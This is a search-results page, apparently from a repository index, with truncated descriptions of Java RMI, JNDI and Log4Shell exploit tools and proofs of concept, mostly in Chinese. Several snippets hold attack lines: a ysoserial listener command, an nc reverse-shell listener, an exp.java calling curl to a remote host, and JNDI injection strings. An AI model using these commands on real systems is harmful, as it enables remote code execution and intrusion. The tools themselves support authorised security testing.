1725 matches found
CVE-2019-12409
CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true" Enables log rotati...
RmiTaste
RmiTaste RmiTaste 允许安全专业人员通过使用 ysoserial 中的小工具调用远程方法来检测、枚举、交互和攻击 RMI 服务。它还允许使用特定参数调用远程方法。 免责声明 RmiTaste 旨在帮助安全专业人员识别系统中不安全的 RMI 服务,前提是用户已获得攻击该系统的许可。未经授权访问计算机系统是非法的,RmiTaste 必须遵守所有相关法律。否则可能导致您被起诉。RmiTaste 的开发者不承担任何责任,也不对因使用本程序造成的任何误用或损害负责。 构建与运行 需要 openjdk 11.0.3。 1. 下载 ysoserial-master-SNAPSHOT.j...
CVE_2020_2546
Twitter: @Hktalent3135773 1、Weblogic RCE 漏洞利用 CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload 漏洞利用 poc python3 2、漏洞利用 GIOP + send bind(CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 或其他) GIOP + send jta(rmi 或其他) GIOP + send jta +...
CVE-2021-29200
CVE-2021-29200 CVE-2021-29200 EXP 可成功反弹Shell 本文以及工具仅限技术分享,严禁用于非法用途,否则产生的一切后果自行承担。 触发命令执行EXP 1. VPS启动RMI监听 9999 端口 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS启动nc监听 8443 端口 nc -lvp 8443 3. 执行python脚本 python3 cve-2021-29200exp.py 示例...
CVE-2021-44228
CVE-2021-44228 漏洞复现 1. 先运行RmiServer以创建RMI注册服务。 2. 运行Log4jTest,如果你使用Windows,计算器将会弹出。...
CVE-2021-44228
CVE-2021-44228 我觉得这边的内容更具实用性(哭)christophetd/log4shell-vulnerable-app 因为只是出于兴趣、一时兴起去调查的,所以可能有些地方含糊不清或者存在错误。 请务必自行承担责任。 搭建复现环境。 只要是在 Linux 环境下,应该就能运行。 1. 下载 jdk 从 jdk8u191 开始,新增了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认值为 False。 在这种状态下无法加载外部准备的 class,所以这次我们使用更早之前的版本。 ( 也许能加载内部类或进行绕过?? )...
zkar
ZKar ZKar is a Java serialization protocol analysis tool implement in Go. This tool is still work in progress , so no complete API document and contribution guide. ZKar provides: A Java serialization payloads parser and viewer in pure Go, no CGO or JDK is required From the Java serialization...
CVE-2020-2551
CVE-2020-2551 Weblogic IIOP 反序列化 测试环境 Weblogic10.3.6+jdk1.6 打包好的jar包 提取码:a6ob 漏洞利用 下载jar包,然后使用marshalsec起一个恶意的RMI服务,本地编译一个exp.java package payload; import java.io.IOException; public class exp public exp String cmd = "curl http://172.16.1.1/success"; try Runtime.getRuntime.execcmd.getInputStream;...
ermir
Ermir Ermir 是一个邪恶/流氓 RMI 注册表,它利用对调用其标准 RMI 方法(list/lookup/bind/rebind/unbind)的任何 Java 代码进行不安全反序列化的漏洞。 要求 Ruby v3 或更新版本。 安装 从 rubygems.org 安装 Ermir: $ gem install ermir 或克隆仓库并构建 gem: $ git clone https://github.com/hakivvi/ermir.git $ rake install 用法 Ermir 是一个 CLI gem,它附带两个 CLI 文件 ermir 和...
ermir
Ermir Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it list/lookup/bind/rebind/unbind. Requirements Ruby v3 or newer. Installation Install Ermir from rubygems.org: $ gem install ermir or clone the repo and build the gem:...
WebSphere-WSIF-gadget
WSIF Gadget for WebSphere CVE-2020-4464 / CVE-2020-4450 这是基于 ZDI 的优秀博客文章(最初由 @tint0 报告): https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere https://www.zerodayinitiative.com/blog/2020/9/29/exploiting-other-remote-protocols-in-ibm-websphere...
JNDI-Injection-Exploit-Plus
JNDI-Injection-Exploit-Plus English README JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。 详细说明 是一款JNDI注入利用工具,可以生成JNDI链接并启动后端相关服务。 根据JNDI的三种触发点,提供3种JNDI利用方式 远程Reference链 (3种) 本地Reference链 (4种) 反序列化链(75种) P.S. 具体利用链名称及依赖见 表格 使用方法 $ java -jar...
log4j-cve-2021-44228
Log4j CVE-2021-44228 和 CVE-2021-45046 先决条件 使用存在漏洞的 JDK,例如 JDK 1.8.0181 用法 恶意服务器 恶意服务器部署以下端点: 1389 LDAP 服务器 1099 RMI 服务器 8081 HTTP 服务器 ./gradlew :malicious-server:bootRun 存在漏洞的应用程序 存在漏洞的应用程序在 8082 端口部署一个 HTTP 端点 ./gradlew :vulnerable-app:bootRun 远程代码执行 选择一个将由存在漏洞的应用程序执行的有效载荷,并将其编码为 Base64。例如,要在...
CVE-2021-44228-Apache-Log4j-Rce
使用方法: 1. 运行 RMIServer 2. 运行 Main...
rmiscout
描述 RMIScout 支持对暴露的 Java RMI 接口进行字典和暴力破解攻击,无需实际调用即可安全猜测方法签名。它支持多种 Java RMI 协议、方法调用和漏洞利用。 功能概览 支持多种类型的 Java RMI 服务器: RMI-JRMP(即普通 RMI;通常端口 1099):远程对象注册服务(rmiregistry) 通过 rmid 的 RMI 激活存根 RMI-IIOP:Java CORBA 编程模型(orbd;通常端口 1050) IIOP 需要使用 JRE 1.8,因为在后续运行时中已弃用。 RMI-SSL 多种操作模式 字典模式: 使用签名列表(见附带的...
CVE-2021-44228-Demo
CVE-2021-44228-Demo 利用 CVE-2021-44228,通过 RMI 和 LDAP 两种方式远程注入代码的示例。 Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer 和 LdapServer 启动依赖 Python3。 参考 Apache...
JNDI-Injection-Exploit
介绍 JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。 使用 可执行程序为jar包,在命令行中运行以下命令: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C command -A address 其中: -C - 远程class文件中要执行的命令。 (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app") -A - 服务器地址,可以是IP地址或者域名。 (可选项 , 默认地址是第一个网卡地址)...
mjet
mjet Mogwai Security Java 管理扩展(JMX)漏洞利用工具包 mjet 是一个可用于保护配置不安全的 JMX 服务的工具。它基于 Braden Thomas/Accuvant 的博文“Exploiting JMX-RMI”(http://www.accuvant.com/blog/exploiting-jmx-rmi),可用于在目标系统上执行任意的 Metasploit 载荷。 mjet 最初计划成为一个完整的攻击工具包,但我们注意到 Metasploit 的 Github 仓库中有一个拉取请求,该请求将以原生 Ruby 提供基本的 Java...
log4j-CVE-2021-44228-test
log4j-CVE-2021-44228-test 演示项目,用于展示如何利用 log4j(CVE-2021-44228)漏洞 使用 Spring Boot 只是为了快速搭建。请原谅所有硬编码,这只是一个 POC。 使用方法 确保已安装 Java 8。使用 Maven 构建 mvn clean package -DskipTests。在单独的 shell 窗口中运行以下命令: java -jar vulnerable-server/target/vulnerable-server.jar java -jar...
EnumJavaLibs
EnumJavaLibs EnumJavaLibs:通过反序列化进行远程 Java classpath 枚举。 概述 EnumJavaLibs 可用于发现远程 Java 应用在支持反序列化时加载了哪些库(即可用于 classpath 的库)。 ----------------- Serially - v1.1 by Stefan Broeder ----------------- Usage: EnumJavaLibs MODE OPTIONS MODES: base64 Write base64 encoded serialized objects to CSV file in...